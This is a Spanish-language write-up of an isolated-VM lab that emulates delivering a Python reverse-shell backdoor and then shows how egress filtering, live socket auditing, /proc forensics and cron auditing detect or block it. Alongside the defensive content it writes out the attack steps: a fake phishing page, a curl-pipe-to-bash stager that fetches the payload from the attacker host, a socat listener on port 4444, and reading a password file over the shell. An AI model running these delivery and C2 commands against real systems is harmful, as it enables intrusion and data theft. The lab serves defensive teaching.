Laboratorio educativo de emulación de adversario y hardening de host: se emula la entrega y ejecución de un backdoor con reverse shell en una red virtual aislada y, sobre el mismo escenario, se demuestra por qué el firewall de salida debió haber bloqueado el puerto 4444 y cómo se audita el proceso en caliente en Linux.
Ámbito ético: todo ocurre entre dos máquinas virtuales (Kali y Ubuntu) en una red interna sin contacto con sistemas reales. Las IPs son privadas del laboratorio, el correo de la exposición es ficticio y el payload no contiene datos personales. El objetivo es defensivo: entender la técnica para detectarla y prevenirla.
- VM1 — Kali Linux (atacante):
192.168.199.130 - VM2 — Ubuntu Desktop (víctima):
192.168.199.131 - Adaptador 1: NAT (internet). Adaptador 2: red interna (
intnet).
- Bind shell (tradicional): el malware abre un puerto en la víctima y el atacante se conecta. El firewall de entrada lo bloquea con facilidad.
- Reverse shell (C2 de salida): el puerto se abre en el atacante; es la víctima quien inicia la conexión de salida. Para el firewall del host, parece tráfico saliente legítimo como cualquier navegación web.
La diferencia de fondo es dirección del flujo: el atacante convierte una conexión saliente (permitida por defecto en casi todos los hosts) en su canal de comando y control. Por eso la defensa correcta no está en el firewall de entrada, sino en el control de salida.
Ubuntu trae ufw con política saliente permitida por defecto: cualquier
proceso puede iniciar una conexión a cualquier puerto externo. Con esa
política, la reverse shell hacia 192.168.199.130:4444 se establece sin
ninguna resistencia.
El control que faltó es egress filtering: denegar salidas por defecto y permitir solo lo estrictamente necesario.
# Política por defecto: denegar todo el tráfico saliente
sudo ufw default deny outgoing
# Permitir solo lo necesario para operar
sudo ufw allow out 80/tcp
sudo ufw allow out 443/tcp
sudo ufw allow out 53/udp
sudo ufw enableEquivalente con iptables:
sudo iptables -P OUTPUT DROP
sudo iptables -A OUTPUT -o lo -j ACCEPT
sudo iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
sudo iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
sudo iptables -A OUTPUT -p udp --dport 53 -j ACCEPTDetalles que evitan romper el host y cierran vectores:
-o lo -j ACCEPTes obligatorio con iptables (ufw ya permite loopback por defecto): sin él, los servicios locales dejan de funcionar.- Restringir el DNS al resolver interno
(
sudo ufw allow out 53/udp to <DNS>): si el 53 queda abierto a cualquier destino, un malware puede exfiltrar por tunneling DNS, y la regla de egress pierde su efecto. deny outgoingrompeapt/updates: permitir explícitamente los mirrors (80/443) o un proxy interno.
Con esta política, el connect() del payload hacia el puerto 4444 es
rechazado antes de que se transfiera ningún byte: no hay shell, no hay
C2 y no hay persistencia útil.
Para el laboratorio, la validación es inmediata: repetir el ataque con la política de salida por defecto (falla de demostración: la conexión se establece) y con egress filtering (el listener del atacante nunca recibe nada).
El segundo control que el laboratorio demuestra es la detección en vivo durante el incidente, sin herramientas comerciales:
# 1. Conexiones TCP establecidas con su proceso asociado
ss -tp state established
# 2. Todo lo que toque el puerto del C2 (4444)
ss -tnp | grep ':4444'
# Alternativa clásica
netstat -antpEl patrón de entrega "pipe to shell" (curl | bash) también deja huella
en el árbol de procesos mientras ocurre:
ps -ef --forest | grep -E 'curl|bash'La salida de ss -tp muestra la tupla completa (Local Address:Port →
Peer Address:Port) y el PID del proceso. En la VM víctima, durante el
ataque se ve una conexión ESTAB desde una IP de la red interna hacia
192.168.199.130:4444 con el proceso Python asociado.
Con el PID en mano, se audita el proceso en la memoria de Linux a través de
/proc:
# Qué ejecutable es realmente (el enlace simbólico no miente)
ls -l /proc/<PID>/exe
# Argumentos exactos con los que se lanzó
cat /proc/<PID>/cmdline | tr '\0' ' '
# Desde qué directorio corre
ls -l /proc/<PID>/cwd
# Descriptores abiertos: el socket del C2 aparece aquí
ls -l /proc/<PID>/fd | grep socket
# Mapa de memoria del proceso (módulos y regiones mapeadas)
cat /proc/<PID>/maps
# Alternativa: lsof por proceso y por puerto
lsof -p <PID> -iEsto convierte un "proceso Python desconocido" en evidencia forense: binario, ruta, argumentos, socket activo y mapa de memoria.
El payload del laboratorio intenta inyectarse en crontab. En un host real,
la búsqueda de persistencia es:
crontab -l
sudo ls -la /var/spool/cron/crontabs/
sudo grep -R "SysUpdate" /etc/cron* /var/spool/cron 2>/dev/nullCon auditd se puede registrar quién modifica los cron de cada usuario:
sudo auditctl -w /var/spool/cron/crontabs -p wa -k cron_modification
sudo ausearch -k cron_modificationAdemás, cada ejecución del payload queda en los logs de cron:
grep CRON /var/log/syslog | grep SysUpdate1. Empaquetar el payload (Kali):
pip install pyinstaller staticx patchelf
pyinstaller --onefile BackdoorLinux.py
staticx dist/BackdoorLinux SysUpdate_Static
--noconsolees una opción de Windows/macOS: en Linux no aplica (el binario ya corre en segundo plano sin abrir terminal).
2. Entrega simulada (Kali): servidor HTTP + correo ficticio de
"actualización crítica" que enlaza a la intranet falsa. index.html
(servida en http://192.168.199.130/) reproduce el aviso; no contiene datos
reales. La página muestra un comando corto y creíble (curl ... | bash)
que apunta al stager patch.sh; este descarga y lanza el payload
SysUpdate_Static en segundo plano (entrega en dos etapas).
sudo python3 -m http.server 803. Listener del C2 (Kali):
socat TCP-L:4444 -4. Ejecución (Ubuntu, usuario limitado): copiar el comando del aviso falso:
curl -s http://192.168.199.130/patch.sh | bashEl stager descarga el payload a ~/Descargas/SysUpdate_Static, lo ejecuta
con nohup (el terminal de la víctima regresa de inmediato) y muestra
mensajes falsos de éxito. Alternativa manual, sin stager:
wget http://192.168.199.130/SysUpdate_Static -O ~/Descargas/SysUpdate_Static
chmod +x ~/Descargas/SysUpdate_Static
~/Descargas/SysUpdate_StaticLa ruta ~/Descargas/SysUpdate_Static es la que el payload inyecta en el
crontab (persistencia): el stager debe dejar el binario ahí o esa fase
falla en silencio.
Kali recibe el shell; la verificación de impacto es mínima e intencional:
whoami
cat /etc/hostname
# Demostración de exfiltración (el payload dejó los archivos en 644):
cat /home/victima/Documents/contraseñas_servicio_tecnico.txtContramedida de la fase de exfiltración: permisos estrictos en archivos
sensibles (chmod 600, directorios 700). El chmod 644 del payload solo
funciona porque esos documentos no estaban protegidos.
| Técnica | ID | Evidencia en el laboratorio |
|---|---|---|
| Command and Scripting Interpreter: Python | T1059.006 | Payload en Python (BackdoorLinux.py). |
| Non-Standard Port | T1571 | Canal C2 en TCP/4444. |
| Application Layer Protocol: Web Protocols | T1071.001 | Entrega del binario vía HTTP. |
| Ingress Tool Transfer | T1105 | El stager (patch.sh) descarga el payload (SysUpdate_Static). |
| Scheduled Task/Job: Cron | T1053.003 | Persistencia vía crontab del usuario. |
| User Execution: Malicious Link | T1204.001 | Phishing simulado (index.html). |
| Exfiltration Over C2 Channel | T1041 | Lectura de los archivos demo a través del shell remoto. |
Controles demostrados del lado defensivo: egress filtering (política de
salida por defecto denegada), auditoría de sockets en vivo (ss -tp),
inspección forense del proceso (/proc/<PID>/...), auditoría de persistencia
y principio de menor privilegio (el usuario comprometido no tiene root).
| IOC | Valor | Cómo detectarlo |
|---|---|---|
| Conexión C2 | 192.168.199.130:4444 |
ss -tnp | grep ':4444' |
| Binario | SysUpdate_Static en ~/Descargas |
ls -l /proc/<PID>/exe |
| Persistencia | * * * * * /home/victima/Descargas/SysUpdate_Static |
crontab -l, /var/spool/cron/crontabs/ |
| Artefactos | contraseñas_servicio_tecnico.txt, bonificaciones_empleados_q3_final.csv |
listado de ~/Documents |
| Logs | ejecuciones cada minuto en cron | grep CRON /var/log/syslog |
- Egress Filtering: denegar salidas por defecto; solo 80/443 y el DNS del resolver interno (nunca 53 hacia cualquier destino: es un vector de tunneling). Bloquea el canal C2 antes de que nazca.
- Auditoría en caliente:
ss -tpynetstat -antppara conexionesESTABLISHEDhacia IPs externas no esperadas, y mapeo del socket al PID. - Inspección del proceso en memoria:
/proc/<PID>/exe,cmdline,cwd,fdymapspara convertir un proceso sospechoso en evidencia. - Hardening: si el host no necesita Python como función principal, desinstalarlo elimina de raíz esta familia de payloads; misma lógica para cualquier intérprete prescindible.
- Permisos de archivos: documentos sensibles en
600(directorios700) y auditoría de cambios de permisos (auditctl -wsobre rutas críticas). - Principio de menor privilegio: un usuario sin root limita el daño, la persistencia instalable y los archivos legibles.
- EDR / NGAV conductual: detección por comportamiento (proceso que abre socket saliente + conexión persistente) más que por extensión de archivo.
| Archivo | Función |
|---|---|
BackdoorLinux.py |
Payload PoC (persistencia + reverse shell), confinado al laboratorio. |
patch.sh |
Stager servido por HTTP: descarga el payload y lo lanza en segundo plano. |
index.html |
Página de phishing simulada (intranet falsa), servida en /. |
style.css |
Estilos de index.html. |
.gitignore |
Excluye artefactos de build (dist/, binarios, __pycache__). |
El payload no tiene ofuscación contra EDR reales, no intenta escalar
privilegios y la persistencia solo toca el crontab del usuario de la VM.
Toda la actividad está confinada a la red interna del laboratorio; nada de
esto está pensado para ejecutarse contra sistemas ajenos.